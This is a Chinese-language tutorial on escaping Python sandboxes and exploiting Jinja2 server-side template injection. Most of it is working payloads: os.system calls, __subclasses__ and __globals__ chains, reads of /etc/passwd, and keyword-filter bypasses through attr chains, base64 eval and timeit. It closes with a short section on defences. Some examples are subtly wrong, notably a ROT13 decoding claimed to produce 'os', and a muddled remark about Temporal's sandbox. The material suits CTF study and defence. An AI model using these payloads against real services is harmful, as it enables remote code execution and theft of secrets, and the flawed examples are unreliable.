沙箱逃逸(Python沙盒逃逸深度解析)
沙箱逃逸(Python沙盒逃逸深度解析)
一、沙盒逃逸的核心目标
执行系统命令
通过调用os.system、subprocess.Popen等函数执行Shell命令,例如读取文件或反弹Shell。
文件操作
读取敏感文件(如/etc/passwd)、写入后门文件。
环境信息泄露
获取沙盒配置、环境变量或密钥(如__builtins__中的敏感模块)。
二、常见攻击链与利用方法
探测沙盒漏洞
基础测试:注入{{7*7}}或__import__(‘os’).system(‘id’)验证模板引擎动态执行能力。
检查内置对象:通过dir()或__builtins__查看可用模块。
访问危险函数
直接调用模块:若未禁用os,直接执行命令:
__import__('os').system('cat /flag')
间接导入:通过字符串编码绕过关键字过滤:
__import__('b64d'.decode('rot13')).system('id') # 'b64d'→'os'
类继承链利用
遍历子类:从基础类(如object)通过__subclasses__()
找到危险类:
''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')
其中X为os._wrap_close或subprocess.Popen的类索引。
利用文件对象:通过types.FileType或open读取文件:
types.FileType('/etc/passwd').read()
绕过过滤的技巧
属性链分割:使用getattr
或|attr()
绕过点号过滤:
request|attr('application')|attr('__globals__')['os'].system('id')
编码混淆:Base64、ROT13编码命令字符串:
eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))
利用内联函数:通过timeit、platform等非敏感模块间接调用命令:
timeit.timeit("__import__('os').system('id')", number=1)
三、典型沙盒环境与绕过案例
Jinja2模板引擎SSTI
漏洞场景:直接渲染未过滤的用户输入,如render_template_string(user_input)
。
利用链:通过{{config}}泄露密钥,或通过类继承链调用os模块。
RestrictedPython沙盒
限制机制:禁用__import__、open
等函数。
绕过方法:利用__builtins__.__dict__
或_getattr_动态获取危险函数。
CTF题目实战
常见考点:通过__subclasses__
找到warnings.catch_warnings
类,其__init__
的全局变量包含sys模块。
文件读取绕过:使用
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()。
四、防御措施与最佳实践
禁用高危函数
在沙盒配置中移除eval、exec、os、subprocess等模块,例如:
__builtins__.__dict__.clear()
# 清除内置函数
限制模块导入
白名单机制:仅允许预定义的模块和函数。
沙盒环境:使用RestrictedPython或PyPy沙盒,限制全局状态访问。
输入过滤与静态模板
正则过滤:拦截{{、__class__、__import__
等敏感符号。
静态渲染:优先使用render_template而非动态拼接模板。
监控与加固
日志审计:记录异常代码执行行为。
容器隔离:将沙盒运行在Docker等隔离环境中,限制资源访问。
五、历史漏洞与扩展
CVE-2017-5524:Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过,攻击者可泄露敏感数据。
Temporal沙盒绕过:通过sandbox_unrestricted()
上下文管理器或禁用@workflow.defn(sandboxed=False)
完全绕过防护。